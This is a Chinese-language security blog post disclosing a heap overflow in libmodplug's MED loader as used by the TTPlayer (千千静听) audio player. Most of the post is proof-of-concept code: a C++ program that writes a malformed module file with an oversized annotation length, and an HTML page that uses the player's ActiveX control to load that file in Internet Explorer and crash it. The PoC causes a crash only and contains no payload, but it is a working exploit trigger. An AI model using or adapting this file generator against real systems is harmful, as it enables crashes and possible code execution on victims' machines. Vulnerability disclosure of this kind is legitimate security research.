千千静听 mod 文件格式堆溢出[POC]
千千静听使用的是 libmod 来进行 mod 类文件格式的处理, 此库在 ReadMed 函数中,没有检查
文件描述的长度,如果传递一个恶意构造的值,将导致堆溢出。
现在采用libmod 软件很多,都应该存在此问题。
下面是构造问题文件的代码,最后是使用最新版本千千静听的 ax 写的 poc.
C++代码
- /*
- libmodplug v0.8
- load_med.cpp
- BOOL CSoundFile::ReadMed(const BYTE *lpStream, DWORD dwMemLength)
- line 670: memcpy(m_lpszSongComments, lpStream+annotxt, annolen);
- */
- /*
- author: dummy
- e-mail: dummyz@126.com
- date: 2008/02/25
- */
- #include <windows.h>
- #include <stdio.h>
- #pragma pack(1)
- typedef struct tagMEDMODULEHEADER
- {
- DWORD id; // MMD1-MMD3
- DWORD modlen; // Size of file
- DWORD song; // Position in file for this song
- WORD psecnum;
- WORD pseq;
- DWORD blockarr; // Position in file for blocks
- DWORD mmdflags;
- DWORD smplarr; // Position in file for samples
- DWORD reserved;
- DWORD expdata; // Absolute offset in file for ExpData (0 if not present)
- DWORD reserved2;
- WORD pstate;
- WORD pblock;
- WORD pline;
- WORD pseqnum;
- WORD actplayline;
- BYTE counter;
- BYTE extra_songs; // # of songs - 1
- } MEDMODULEHEADER;
- typedef struct tagMMD0SAMPLE
- {
- WORD rep, replen;
- BYTE midich;
- BYTE midipreset;
- BYTE svol;
- signed char strans;
- } MMD0SAMPLE;
- // MMD0/MMD1 song header
- typedef struct tagMMD0SONGHEADER
- {
- MMD0SAMPLE sample[63];
- WORD numblocks; // # of blocks
- WORD songlen; // # of entries used in playseq
- BYTE playseq[256]; // Play sequence
- WORD deftempo; // BPM tempo
- signed char playtransp; // Play transpose
- BYTE flags; // 0x10: Hex Volumes | 0x20: ST/NT/PT Slides | 0x40: 8 Channels song
- BYTE flags2; // [b4-b0]+1: Tempo LPB, 0x20: tempo mode, 0x80: mix_conv=on
- BYTE tempo2; // tempo TPL
- BYTE trkvol[16]; // track volumes
- BYTE mastervol; // master volume
- BYTE numsamples; // # of samples (max=63)
- } MMD0SONGHEADER;
- typedef struct tagMMD0EXP
- {
- DWORD nextmod; // File offset of next Hdr
- DWORD exp_smp; // Pointer to extra instrument data
- WORD s_ext_entries; // Number of extra instrument entries
- WORD s_ext_entrsz; // Size of extra instrument data
- DWORD annotxt;
- DWORD annolen;
- DWORD iinfo; // Instrument names
- WORD i_ext_entries;
- WORD i_ext_entrsz;
- DWORD jumpmask;
- DWORD rgbtable;
- BYTE channelsplit[4]; // Only used if 8ch_conv (extra channel for every nonzero entry)
- DWORD n_info;
- DWORD songname; // Song name
- DWORD songnamelen;
- DWORD dumps;
- DWORD mmdinfo;
- DWORD mmdrexx;
- DWORD mmdcmd3x;
- DWORD trackinfo_ofs; // ptr to song->numtracks ptrs to tag lists
- DWORD effectinfo_ofs; // ptr to group ptrs
- DWORD tag_end;
- } MMD0EXP;
- #pragma pack()
- // Byte swapping functions from the GNU C Library and libsdl
- /* Swap bytes in 16 bit value. */
- #ifdef __GNUC__
- # define bswap_16(x)
- (__extension__
- ({ unsigned short int __bsx = (x);
- ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8)); }))
- #else
- static __inline unsigned short int
- bswap_16 (unsigned short int __bsx)
- {
- return ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8));
- }
- #endif
- /* Swap bytes in 32 bit value. */
- #ifdef __GNUC__
- # define bswap_32(x)
- (__extension__
- ({ unsigned int __bsx = (x);
- ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) |
- (((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24)); }))
- #else
- static __inline unsigned int
- bswap_32 (unsigned int __bsx)
- {
- return ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) |
- (((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24));
- }
- #endif
- #ifdef WORDS_BIGENDIAN
- #define bswapLE16(X) bswap_16(X)
- #define bswapLE32(X) bswap_32(X)
- #define bswapBE16(X) (X)
- #define bswapBE32(X) (X)
- #else
- #define bswapLE16(X) (X)
- #define bswapLE32(X) (X)
- #define bswapBE16(X) bswap_16(X)
- #define bswapBE32(X) bswap_32(X)
- #endif
- int main()
- {
- MEDMODULEHEADER mmh;
- MMD0SONGHEADER msh;
- MMD0EXP mex;
- FILE* file;
- long p;
- memset(&mmh, 0, sizeof (mmh));
- memset(&msh, 0, sizeof (msh));
- memset(&mex, 0, sizeof (mex));
- p = 0;
- mmh.id = 0x30444D4D; // version = '0'
- p += sizeof (MEDMODULEHEADER);
- mmh.song = bswapBE32(p);
- p += sizeof (MMD0SONGHEADER);
- mmh.expdata = bswapBE32(p);
- p += sizeof (MMD0EXP);
- mex.annolen = bswapBE32(-1);
- mex.annotxt = bswapBE32(p);
- file = fopen("test.s3m", "wb+");
- if ( file == NULL )
- {
- printf("create file failed! ");
- }
- else
- {
- fwrite(&mmh, 1, sizeof (mmh), file);
- fwrite(&msh, 1, sizeof (msh), file);
- fwrite(&mex, 1, sizeof (mex), file);
- while ( ftell(file) < 0x1000 )
- {
- fwrite("AAAAAAAAAAAAAAAAAAAA", 1, 16, file);
- }
- fclose(file);
- printf("successed! ");
- }
- return 0;
- }
- /*
- 最新的千千静听提供了 ax, 下面是在 Ie 中触发此漏洞。会导致 ie 崩溃。
- */
XML/HTML代码
- <html>
- <body>
- <OBJECT ID="ttp" WIDTH="250" HEIGHT="400" CLASSID="CLSID:89AE5F82-410A-4040-9387-68D1144EFD03">
- </OBJECT>
- <INPUT TYPE="button" NAME="test" CAPTION="test" onClick="Test()">
- <SCRIPT LANGUAGE="JavaScript">
- <!--
- function Test()
- {
- var controls = ttp.controls;
- ttp.URL = "http:\127.0.0.1\test.s3m";
- controls.play();
- }
- //-->
- </SCRIPT>
- </body>
- </html>
From:7jdg's blog